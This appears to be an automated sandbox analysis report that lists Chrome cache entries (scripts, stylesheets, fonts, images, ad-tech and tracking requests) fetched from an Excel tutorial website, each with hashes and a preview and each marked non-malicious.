Malicious:	false
Reputation:	low
URL:	https://c.amazon-adsystem.com/cdn/prod/config?src=600&u=https%3A%2F%2Fearnandexcel.com&pubid=38918095-8e45-4332-88bf-226b3514cb64
Preview:	{"3pvendor":"(function(){if (window.apstag) {window.apstag.__liveRamp__ = false;}})();;(function(){if (window.apstag) {window.apstag.__pubcommon__ = false;}})();;(function(){if (window.apstag) {window.apstag.__id5__ = false;}})();","3pmetadata":"[{\"propertyId\":\"44\",\"vendorId\":\"liveRamp\",\"sourceId\":\"600\"},{\"propertyId\":null,\"vendorId\":\"pubcommon\",\"sourceId\":\"600\"},{\"propertyId\":null,\"vendorId\":\"id5\",\"sourceId\":\"600\"}]","3psamplerate":5}

Chrome Cache Entry: 883

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2372
Entropy (8bit):	7.852410997517776
Encrypted:	false
SSDEEP:	48:10kRc8U2Jh319+fQsn11JNozORASFbirO/Gf6oZ:11c32J3Ap7ozUASFbieE
MD5:	A8EADB418043310D39EC513E28745936
SHA1:	E207EE20C74D8BE5FC72F7AFD7C1F4CCC7ADCF69
SHA-256:	E5A684C395330E6CC8C64457E1BA945012E94E095352E41ADCB88BBDBE263EBB
SHA-512:	AC83728CF80E74FD73C49AF428629392C51CD9DE99CF0C385BFB9B7351967888EBD033B100501CBE49CCC74883506A7D5CC4744D4428C3A114AAEE7CF1FED123
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...d...d.....p.T....IDATx..{..U....~..b" ....M%.P@....S`RF..0.^XXL.j...3G.AS..n.h.DH4]..)-...2...C7i...v..x..{..~.^...y~3..<....9.s.y...a..a..a..a..a..a..a..a..a..a..a..a..a...?!.^+..B.#...Nu.........hA4{..D..s.uHS...1.DC..}h.....{.v.wG.W...t.....Usy...}......v.o.........^\ZsWm.......R...Vv...:WMZ.da..#.7/.^w.$...$o\|mI....T.k.....z(.m..U... ....\...8.\|#.o...s`.....>Z?.zk.Y..s./3....@.<..uGw...T...[.K.....5....+.....h(.....&..$.......aS...y./gJ/f....<A....n.K.D.[.K.n.u.0.\|V..C:#.......\|Fe.......E`..6........&..`...x....{..8...*...\|00..8..X.<...i.........\|.......<.P...2p....-.R<...)T@TS..@u.E95....~.yIh............7.].#.c^.{............4.\.Wz.\. ...Zf...E..-.m@.O...W`4.......^...Vh;.>..3.:.4.V.....k.b`1.1..nn...LU..8+..(W./.p.p..."/.xd........=.>T.h..(.V.....%^.o.. sY.t.L..\.r.e=...>..qH.8&./.}D:.b.z{iwk..oj.....T`....K0j.G....R.E..........".....y..T..<.\|....y....k.:/o......j.....>..32....Py..\|...lsK..J.[...E..m5_Yz.^Q4{...KE..

Chrome Cache Entry: 884

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	downloaded
Size (bytes):	16739
Entropy (8bit):	7.9588646718974685
Encrypted:	false
SSDEEP:	384:nFufj73B1Cci1Ieta7x4OjS5PtuzpWaENk+T9beUGk:nUfn33Cci1Ieta7xvu1toyK+Jbp3
MD5:	FFFF0539F28E495CA66031FE2FEF2326
SHA1:	F88B10BDC1264A6B4CA13DC00FCBB25D181491DC
SHA-256:	7B06AD88EE43FB6534349EB03E8713085BD82CB553C53191249E47F9E2442BE0
SHA-512:	9A5F681D950AC91645BC29B15E4F323E19CC05C9770F177C364EC87E584B132773B3EF2C77A7063F57DBEA089F02467183BB032C602E35FC4D5E8E7C4037D159
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/ACCESS-1-480x304.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0....".........................................Y........................!...1.AQ......."RUaq..26BESt.....#$5DTbr...%347Ccs....&'..d.Vu.................................6.......................Q...!1.A"3a..#2Rq....$B...C.r............?..D '1I..->.....<..dE.k.^MWB.j.1.........VV.\.jr...mv..M.].y..MWYiZ..,6Kq.....n.ss...{.Yt..is..r.X._.k..Ek)O>.H+......\|(A+S....R.dVG'.V^..4{.......i........l...'.H..^..`.B.._.....e..ka[..H.N.Jk..s.9k ....)KSJXr..4,..rH..(.$.9m.k.\n.r....S6......F.D.E..T....U....K3.W'.#w.Y.....H/h.....H%...-..cD...h..^.\.2.y.5.+0..8w.../\|..9.4.\|.*.d. .&.QC.vG.(..r^..y..Qa.WU2.#...)..m.s[$...4.<....EX.R.^...Zv..dq]..3..............)#.W......Jt..U.vj.(..rH9.n.r.2..I9..$.....<.x!k...n......)\p....K'.m>..v..R...8....:..Z..d\|=9 =.:...(T.....h.\|U..ghN..l...x._.ql.l,.p.......7+.S6z.......n

Chrome Cache Entry: 885

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4056), with no line terminators
Category:	downloaded
Size (bytes):	4056
Entropy (8bit):	5.176086085587581
Encrypted:	false
SSDEEP:	96:x5cU6o8x6v1zd8LDOx8XM/50KulzsCzN96:x5Z1hiHs/5uzsCZo
MD5:	58CDF3B6E440196E57C1619793B9BE6E
SHA1:	3EAF6E7271D7B9F8E33C49E19102B32872593446
SHA-256:	211B3E16F56AFCEC10ADF8ACD9D74A72FA7EB573F015738064A7F68A40428EC9
SHA-512:	E760E92135FE46E6BB6A1CEA467D6E32E0850881B35E4F708CA7131C56D2D9FC4380C61172E6D1CEC83AB98295197D16B13C1291406DCDB7995F6EE1A7C17330
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/js/jquery.sticky-kit.min.js
Preview:	(function(){var I=window.jQuery,W=I(window);I.fn.stick_in_parent=function(t){var _,b,i,e,C,o,x,P,V,F,z,H;for(null==t&&(t={}),H=t.sticky_class,C=t.inner_scrolling,z=t.recalc_every,F=t.parent,P=t.offset_top,x=t.spacer,b=t.bottoming,null==P&&(P=0),null==F&&(F=void 0),null==C&&(C=!0),null==H&&(H="is_stuck"),_=I(document),null==b&&(b=!0),V=function(t){var i;return window.getComputedStyle?(t=window.getComputedStyle(t[0]),i=parseFloat(t.getPropertyValue("width"))+parseFloat(t.getPropertyValue("margin-left"))+parseFloat(t.getPropertyValue("margin-right")),"border-box"!==t.getPropertyValue("box-sizing")&&(i+=parseFloat(t.getPropertyValue("border-left-width"))+parseFloat(t.getPropertyValue("border-right-width"))+parseFloat(t.getPropertyValue("padding-left"))+parseFloat(t.getPropertyValue("padding-right"))),i):t.outerWidth(!0)},i=function(s,n,r,a,l,c,d,u){var p,t,h,f,g,m,k,y,i,w,v,o;if(!s.data("sticky_kit")){if(s.data("sticky_kit",!0),g=_.height(),k=s.parent(),null!=F&&(k=k.closest(F)),!k.length)

Chrome Cache Entry: 886

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV9hNGNiNTY2Yy1kMjljLTQ4MWMtODJmNS1kNjU3MjU1ZDE0MWI=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 887

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	150
Entropy (8bit):	4.4134937081616625
Encrypted:	false
SSDEEP:	3:qVoB3tURObOb0qHXboAcMBXqWrKb0GklIVLKqNqwcWWGu:q43tIkObRHXiMIWObtklI5IpfGu
MD5:	597BA0D4396E9C906225140CE907092C
SHA1:	28AE2BA65CCDB583D79F85B8CC9509FAE697493B
SHA-256:	EE1A27178227546D3DCC49E611A6D72E4F1C30080EE4493AE4085B58A49E28E6
SHA-512:	8898F14BD6CB5C72D6EE5878AF3700BE6D03B56A5A21A3D58EF347F008ACF4AC68A46A908903E1D42999C1E259E77D7DF686C94765865AE07361B2C4E04ADF2C
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/home-03-hero-image-01.jpg
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>openresty</center>..</body>..</html>..

Chrome Cache Entry: 888

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15740, version 1.0
Category:	downloaded
Size (bytes):	15740
Entropy (8bit):	7.9866977438851
Encrypted:	false
SSDEEP:	384:RRlYHoE1mbF2cZgh17dAdJ0mB1cpOxvLTcZjh1LOz:JYIB2Sg/dYui1XBHwG
MD5:	B9C29351C46F3E8C8631C4002457F48A
SHA1:	E57E59C5780995FF2937AB2B511A769212974A87
SHA-256:	F75911313E1C7802C23345AB57E754D87801581706780C993FB23FF4E0FE62EF
SHA-512:	487AC3FD483F8EA131989857BCF1782C295AC72022BC2EBD4BF19001433D6DB65000E192E58B7A6F70F627D15C58F9FED9BA5FE0216363354BEC5A396299DAD9
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2
Preview:	wOF2......=\|.......l..=..........................d..d..^.`.. .X..<.....x..s........6.$.... ..\|. ..:.(..l.V38.......;..'....F.........)..!B..V..U......;..q....O#..cx..mt.w[.......x.UG\|n}........]k[....;J.....<=..F.$'/.......w...r$`....b(g..9C4....#.BK..G..9".Q...ld...j..C.l.F.i#.+.UO...%.E.Z..C..."......k1._....M.Y....-..H......Gm3.....YiJ.s..b..>..W..U.."..2..-.O........(H...0$....7l.7}.j...".C...w?/.oB%<K..d...'H....M]...k.."...E_k.............8.\...A.1U.9 5.@Jb.)J....Hkb ....!.n._.s.:5E......k..}.^...7]f.,a.7..a.H...J^.~...uWJ),....Z.7A..Ra:..k...}.R....G k$.{...%...R...."X6...A......p..V..IH[... .m..H.q.x.?\|......b.#:.c..Z.V.}..:P$j..c..B..^...HH......?......=.#^ q.@R...I....#.$O.H.N03~.@`...........8e.......>!...d..I.........g<)2......P....u..V.........c.1sK.."G.#...^;....=w....[G.}k.y.?.........c.a..\9f..zx..("mGj.."...d..........>c.!..Z.xm...=....v.V..:.6s.....J.oz#.....Y"d.....6>1...i...IQ..;2......\d......n..y....K..Y.L...O.2.....

Chrome Cache Entry: 889

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7457), with no line terminators
Category:	downloaded
Size (bytes):	7457
Entropy (8bit):	5.031489054887161
Encrypted:	false
SSDEEP:	192:8WYzr5MQT3QIYqMQTqfLMbTIVUVVTMQTf2U:1G5McKqMcCLMHzTMcf1
MD5:	289D6CD3B5246FBDAED61BA580E1769E
SHA1:	388B1D644A8C70E8AE52C07B632A5022ADFE72A6
SHA-256:	19F1DD089B5AB99B77675824E7434AD6AB1E829D6280B6339267F9DBDE9BC708
SHA-512:	242AC9DE07CB138CD3EC1DED951FABB944BC85E89657F685829DB0CC1F7C7D4E177026129A16B8DE425FF448767DB05F1843A7518896C3611D01CFA7BD93D7A4
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/js/login.min.js
Preview:	!function(l){"use strict";function r(e,a){this.ACTIVE_CLASS="open",this.init=function(){var a=this;e.on("click",".popup-overlay, .button-close-popup",function(e){e.preventDefault(),e.stopPropagation(),a.close()})},this.open=function(){l(".edumall-popup").EdumallPopup("close"),e.addClass(this.ACTIVE_CLASS)},this.close=function(){e.removeClass(this.ACTIVE_CLASS)}}l.fn.EdumallPopup=function(e){var a="string"==typeof e?e:void 0;if(a){var o=[];this.each(function(){var e=l(this).data("EdumallPopup");o.push(e)});var s=1<arguments.length?Array.prototype.slice.call(arguments,1):void 0,t=[];return this.each(function(e){e=o[e];if(!e)return console.warn("$.EdumallPopup not instantiated yet"),console.info(this),void t.push(void 0);"function"==typeof e[a]?(e=e[a].apply(e,s),t.push(e)):console.warn("Method '"+a+"' not defined in $.EdumallPopup")}),1<t.length?t:t[0]}var n="object"==typeof e?e:void 0;return this.each(function(){var e=l(this),a=new r(e);e.data("EdumallPopup",a),a.init()})}}(jQuery),func

Chrome Cache Entry: 890

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65528), with no line terminators
Category:	downloaded
Size (bytes):	122551
Entropy (8bit):	4.8457696903755405
Encrypted:	false
SSDEEP:	768:X6dGVImjBt2nfIPIhg9EbbmVHaDRatOF4bVFOzXdKgBfelnlyl4lN5QMRci3O6EB:qOsbbdSJO578926tmc3+5
MD5:	6015B425897597FBE0B591C092B5094C
SHA1:	6FAA993D15729AE6082412EC3B1F7D8EE41515D0
SHA-256:	E31B6CDB9670AA9D33CBA3AEBA677B51A0C8E602E0A542EA83C243CDA31DEEB6
SHA-512:	BF1819F810EE2E80FBCFEA846A269A5434A40387B12994D5D3624C5498643EEBA0FA52DF0591C36D208035CA5AF7D2B3D235EBA1BFB1A2B76E63347520B5EA58
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor/assets/css/tutor-front.min.css
Preview:	:root{--tutor-text-size: 16px;--tutor-color-white:.#ffffff;--tutor-color-success:.#24A148;--tutor-color-success-rgb:.36, 161, 72;--tutor-color-warning:.#ED9700;--tutor-color-warning-rgb:.237, 151, 0;--tutor-color-danger:.#F44337;--tutor-color-danger-rgb:.244, 67, 55;--tutor-color-secondary:.#41454F;--tutor-color-subdued:.#5B616F;--tutor-color-muted:.#757c8e;--tutor-color-gray:.#e3e5eb;--tutor-color-gray-10:.#eff1f6}.tutor-color-black{color:var(--tutor-body-color)}.tutor-color-white{color:#ffffff}.tutor-color-primary{color:var(--tutor-color-primary)}.tutor-color-success{color:#24A148}.tutor-color-warning{color:#ED9700}.tutor-color-danger{color:#F44337}.tutor-color-secondary{color:#41454F}.tutor-color-muted{color:#757c8e}.tutor-color-subdued{color:#5B616F}.tutor-color-gray-20{color:#e3e5eb}.tutor-color-gray-10{color:#eff1f6}.tutor-bg-black{background-color:var(--tutor-body-color)}.tutor-bg-white{background-color:#ffffff}.tutor-bg-primary{background-color:var(--tutor-color-primary)}.tutor

Chrome Cache Entry: 891

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3649)
Category:	downloaded
Size (bytes):	3809
Entropy (8bit):	5.26546774416706
Encrypted:	false
SSDEEP:	48:NFxSHoWgOx+2GYAIiyxvHAtXIAtJK6gUCygEgsH4MjgCouRQRcuya7eRTrfIyVpQ:Lxq62LdiYv+pGnX3O8KR3D/v5PFg
MD5:	892F026A252D12868BBB0D865CD5092F
SHA1:	4FB708E22419B1EA7B1B09594AFA936AD8B441B1
SHA-256:	DF871D59C5D7BD825DEB7A7E25B09B8618454F563B5C1FAE90D9781BE312E86C
SHA-512:	23CD3D8A8DB0EEF39D661D53B89C57B71128AB4AA3F62F8EBC039ED54C23EC9E1AF6E4876E5D341540C0CF886A4BE846AF6BC852D0E057139D9B6ADE667D0BE4
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/smooth-scroll/jquery.smooth-scroll.min.js
Preview:	/!. jQuery Smooth Scroll - v2.2.0 - 2017-05-05. * https://github.com/kswedberg/jquery-smooth-scroll. * Copyright (c) 2017 Karl Swedberg. * Licensed MIT. */.!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a("object"==typeof module&&module.exports?require("jquery"):jQuery)}(function(a){var b={},c={exclude:[],excludeWithin:[],offset:0,direction:"top",delegateSelector:null,scrollElement:null,scrollTarget:null,autoFocus:!1,beforeScroll:function(){},afterScroll:function(){},easing:"swing",speed:400,autoCoefficient:2,preventDefault:!0},d=function(b){var c=[],d=!1,e=b.dir&&"left"===b.dir?"scrollLeft":"scrollTop";return this.each(function(){var b=a(this);if(this!==document&&this!==window)return!document.scrollingElement\|\|this!==document.documentElement&&this!==document.body?void(b[e]()>0?c.push(this):(b[e](1),d=b[e]()>0,d&&c.push(this),b[e](0))):(c.push(document.scrollingElement),!1)}),c.length\|\|this.each(function(){this===document.documentElement&&"smooth"===a(this).

Chrome Cache Entry: 892

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (381), with no line terminators
Category:	downloaded
Size (bytes):	381
Entropy (8bit):	4.753218984292552
Encrypted:	false
SSDEEP:	6:z8HpULee8FPMY0kvZqXGeAew6fHEts/Ra/7kDQH6LL/Ra/v3HpOPDZ:zAMB8eY0kQAeJx84UH6v8f4Z
MD5:	3855A113016A958DAC7476C365F9A61F
SHA1:	CEFDA141CDE9F7F0C4805868255C0AA35D5CF6A3
SHA-256:	C12EE8A5184BD1BC3031ED6BB79CD1D1372385AC897D5A6D0573F517D12029FC
SHA-512:	BB25B6FD96736B99B1C0ABC36192AF900909192F95C92B7E6AF07BB353C297B0D85F85982E2D8FB2E1759E6F3C88DEF6D725453FCEC9709B5D79032F3DE1343A
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/js/tutor/single.min.js
Preview:	jQuery(document).ready(function(a){"use strict";var s=a("#tutor-single-course-tabs-nav"),e="active";s.on("click","a",function(s){s.preventDefault(),s.stopPropagation();s=a(this).parent();s.hasClass(e)\|\|(s.siblings().removeClass(e),s.addClass(e),s=a(this).attr("href"),(s=a(s)).length&&(s.siblings().removeClass(e),s.addClass(e)),a(document).trigger("EdumallCourseTabsChange"))})});

Chrome Cache Entry: 893

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7085), with no line terminators
Category:	downloaded
Size (bytes):	7085
Entropy (8bit):	5.365378922077236
Encrypted:	false
SSDEEP:	192:X5r8EGzovxTv1uiSRnHrjUh/9qUSCVjgXXAKT:Xp8EGMvBv1unRH/o/9GCV0nAy
MD5:	3C1C2EFB5D80AF54AD3E62500119DDD0
SHA1:	6AF4A82B5354D031676DA6D4643D99C1254F13D2
SHA-256:	6EB8CEBDE5DBE2485B262229DB69812F2610E7EAEF037A6A440246A774C13DE3
SHA-512:	32CA594C67591F331DD72AD62E740BB94AFDFF2A4CF15D26BF72A27120BC8C2B813E5D8C82EF262C6D2D11DF58AF3591C09B1466CE2FF195FCE70E4964C5C26A
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/584.f59ff521.chunk.js
Preview:	"use strict";(self.webpackChunk_mediavine_faves_ui=self.webpackChunk_mediavine_faves_ui\|\|[]).push([[584],{912:(e,o,t)=>{t.d(o,{c:()=>N});var c=t(8940),a=t(5307),n=t(1580),r=t(7692),l=t(8836),i=t(7824),d=t(2964),s=t(9032),p=t(528),u=t(7084),m=t(5648),b=t(4844),h=t(1028);function f(e){return(0,b.cp)("PrivateSwitchBase",e)}(0,h.c)("PrivateSwitchBase",["root","checked","disabled","input","edgeStart","edgeEnd"]);var v=t(676);const g=["autoFocus","checked","checkedIcon","className","defaultChecked","disabled","disableFocusRipple","edge","icon","id","inputProps","inputRef","name","onBlur","onChange","onFocus","readOnly","required","tabIndex","type","value"],k=(0,s.cp)(m.c)((e=>{let{ownerState:o}=e;return(0,a.c)({padding:9,borderRadius:"50%"},"start"===o.edge&&{marginLeft:"small"===o.size?-3:-12},"end"===o.edge&&{marginRight:"small"===o.size?-3:-12})})),y=(0,s.cp)("input")({cursor:"inherit",position:"absolute",opacity:0,width:"100%",height:"100%",top:0,left:0,margin:0,padding:0,zIndex:1}),C=n.

Chrome Cache Entry: 894

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 78196, version 331.-31261
Category:	downloaded
Size (bytes):	78196
Entropy (8bit):	7.997039463361104
Encrypted:	true
SSDEEP:	1536:1iGQV8Q8UOUMUd5UY3qyCkHQCCz2LL1F+u3MHLGxe3U:QVWuF33qy7HQchFz8HnU
MD5:	E8A427E15CC502BEF99CFD722B37EA98
SHA1:	A9922842A120A7F1EACED667480C5E185A106D69
SHA-256:	D0B4256ABED72481585662971262EABEE345C19F837AF00D7CE24239D3B40EEF
SHA-512:	113775748A4166C07E58C26CF6DB7FED473732DC6124B8EE0F0DCC0D6439EB2AB2C5D9E01C67324FDF9DE4105349CF30CC5796A0B0E0CE9A08F337B9D4E10B7B
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/lib/font-awesome/webfonts/fa-solid-900.woff2
Preview:	wOF2......1t..........1..K......................?FFTM....`..N.....h..B.6.$..0..4.. ..+...[.u..p.(..U.d..{-.n.Pn...._=V2.e..vp.~........U..1...=..B..b....mvS....w.C.+.$...(..MMI.iH}..O...4.7.s...Y.)......}..^...{^...R.z....f..h4dD7.:1...Cj..l.8M..T...]}.]?Z..v....g.yV...^..\.?.wM\|......Ws..yf%..PL.....~.z.w.S.uQw..........EY.!.........j.O.....c...>T\|....W...Zk...9.......XJ...../I`x.R....c.h..w...?tm..l...LQ......hMg...x...1.F...cU.b\|.3....v.Kr.f.H ..9 @....... ......'..j...Vq.:.Q..+....._..(...J.....~../..Y<."......GB..:..P.B...7q...K.{...F"..3....6?.C,..B..P.V.......C.C..\....+....a...X.z..Tzdn.P.M....li...l2);.!..wX..xh.o.u!.........O.......Ew.$b7X..8d..H...s...z#d..&...J.G...Q.M.....rV?.....&....#...t]........+..............v...$X.P............ h.z.{...../F.-Y..!.a.1...&.;.^^.U.U.E....!O......./+~.........Q.\|.n@.W..P.tc.l.--....]6..........u..[.SN....i....4-......"...fC...`........@.......l=..g...-..C8...B.X.........g.~..p.1%..x.A.X..

Chrome Cache Entry: 895

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	29112
Entropy (8bit):	7.9909437725122325
Encrypted:	true
SSDEEP:	768:f51yXefwH3GgX71PRjY6p9d0SSdtWt4pEuoIRGPSj:B1FwH3GgXJpjX0SSitlV/Sj
MD5:	1BB06E3F458AD1D8EA935581937F6F9F
SHA1:	7DCE06D5C250858A6CA9176AEDA643290CEDD416
SHA-256:	446095565E5A7A95ED4C39C2E50BEF4F65F1C81B688DB4A4E3B5314EC0D1E2DC
SHA-512:	98F166B970706EBAF23428719A5A855AF5F9C617C0B0C4FEAF2A6CBDC99F18145C3B94845F3DF11B23ADF8B14497B90440B34E78B0A7844FC86AE8F64ED80F08
Malicious:	false
Reputation:	low
URL:	https://i.vimeocdn.com/video/755015345-7542e26988b63a500ebdba9004653760cc84abd7f58b25bc3669f0bbc215c635-d?w=640
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...............p....(iinf..........infe........av01Color....jiprp...Kipco....ispe...........h....pixi............av1C........colrnclx...........ipma.................p.mdat.....f'.;..2....O..0....6.+Y..NJ....s`......+v.....p..vm...wQ...=.D....U..=&..>...]..V..[:..5.\....O.4.lwg......].-._j.m..8u.\|..<.............Uy...P...g}.8..^..n.K:..\.?......#C..........&.^W~.k.XO.q...9@1..1Z.DHo..HN\|.8.i.g..}.CN.S.B.]..A.c..=..U...G......5.hWYU..h4.bss!....U..a.\......HM...I..<.......x....Bp:).4...B...]......./........n..Gn..........,]UP3s......Vf....)X..._..4wif.+..q.....p..-..H\.D.4D~~[&..R."e..r.a..-...3...7.]H.......~n//...B.V.....1r1.=..A...-N.....#..........I.c.%s.....Z.Rw3R..e.;..)..o.=..on..bB.....'.-Z...\|J...zy.<]..$.".SwQ.t..~.r..x?L..}.z....<....DOu.....a..#('...n.b9'..._..k.VP......*.^{....r.#..e....@".........i./.h...S\|....R._2..>\|....f.. ..'

Chrome Cache Entry: 896

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4817)
Category:	downloaded
Size (bytes):	271972
Entropy (8bit):	5.56271616070882
Encrypted:	false
SSDEEP:	3072:0OtbaJR+8bFtV8vWD75Jm8jdGXmJFRqFcJuwpcfsYrWTrW30PmY+T:0OtbaJRp8+XfEqfJlafsYrgrWqg
MD5:	7BDB91E44043226D9AD8246CC1B9E0E6
SHA1:	130567FEB85371E079E5081AD7B0176D2D55D4AF
SHA-256:	0300EB9FCC29219AEF9E04123E2731A03F42A00C36374F6C09E0D288647FDDD9
SHA-512:	A62AC9266BEC3A295286CBF3B8B0831C19CB24E014AA36F180876D66F3CED2DB0805F43F045D810D0709105A83530F308C77A1D53F05E2FD33C0A78E473A8BC9
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-5QW6V5F
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"26",. . "macros":[{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__e"},{"function":"__gas","vtp_cookieDomain":"auto","vtp_doubleClick":false,"vtp_setTrackerName":false,"vtp_useDebugVersion":false,"vtp_fieldsToSet":["list",["map","fieldName","allowLinker","value","true"]],"vtp_useHashAutoLink":false,"vtp_autoLinkDomains":"earnandexcel.com, earnandexcel.thrivecart.com, course.earnandexcel.com, earnandexcel.thinkific.com","vtp_decorateFormsAutoLink":false,"vtp_enableLinkId":false,"vtp_enableEcommerce":false,"vtp_trackingId":"UA-190016353-1","vtp_enableRecaptchaOption":false,"vtp_enableUaRlsa":false,"vtp_enableUseInternalVersion":false,"vtp_enableGA4Schema":true},{"function":"__c","vtp_value":"5e40fa19-dd6c-4373-b1e0-df7865ef9034"},{"function":"__u","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmpt

Chrome Cache Entry: 897

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	311
Entropy (8bit):	5.909318856284004
Encrypted:	false
SSDEEP:	6:YVgdbjc0IrtqLXhOuSHhUpHE0iCAbAvzXgaqA49iJYI0zVf61EsKRV:YK9kr+1FpoC0mzXnqx6LE161EsK
MD5:	11B4DE3152F33A7639325B63C653BD54
SHA1:	02D5BF0B1D4AF7FEA5A74F1EFFDF020C233BCB78
SHA-256:	E47A05EE5FFCC26D6E31B7ACE73096C15F9F24728C9C74203F7B57C3EC95D7C5
SHA-512:	F55CDA7B3EA71E1EA1A5DBB05FAC37095851F1583844FB67C40D06E7554F4987CD98211EAF63AC3F70770D857B069858A58DA0B78C6B2F90D1928CD08236B135
Malicious:	false
Reputation:	low
URL:	https://imp-dev.mediavine.com/impkey?&bidder=&cpm=0.23&adId=&sk=V1:I3Tbn6r/h01YL1ES:HhND1AwwRjGeXrBamKFo34xyszaQw4leFEUvcLyv2dhtIi7QJTuqpsIcavmG1eB4QES+YZAQU8YvhA==
Preview:	{"hb":"V1:k8fNO5yBPYWPY6te:TERgWZBJYDxelrCYcbtYwmEKlcA2q4+RE3lumL741VwD+q55R661F5wbU8Ia3xt1","adx":"V1:NQK0VefMJ1PgQ3TU:9q0xYIAzJgMRNnV2tPNphBlKLexD6eDFazmTqKrf2+AEARlKglozCfa/a/DqHPGKBd7QE8gejjydDirNz12ZawEMvW+F","unf":"V1:YguZj9bFDCN/tDeV:UEd6eAxS04G7eY4eV+AzhKAqsDDTiipKW8Ae5QdS2oKGp3c4COmMeknXxfTrOrVPuA=="}

Chrome Cache Entry: 898

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 480 x 260, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	77650
Entropy (8bit):	7.984119583705996
Encrypted:	false
SSDEEP:	1536:f5t9BWWE18zHUkDX2PTJB7H/3mbJXeO03cplQaGLpIffo8hBZSHvAEaRUG:fX9Bu18z0kKPb/KJX70MzQLL+XpZYvA/
MD5:	44836D113020E72C90288599ABB6D9C2
SHA1:	7F02897519AE1BDE2FAD3F409F7FA69EF882B7A5
SHA-256:	98AE56D07D82B3C60ED9A27AEB73B0C7C51C1CBEBF7668D296C1D659B37981E0
SHA-512:	8A9C99EBCF5257EFDC5184E3845AA592F6C617484737962E753D43B78A2E0DC906FCBA3A5162F9C4F070B630B43486E431551D11390F45448D198ED165ACECA8
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/How-to-Make-Every-Other-Line-Shaded-in-Excel-480x260.png
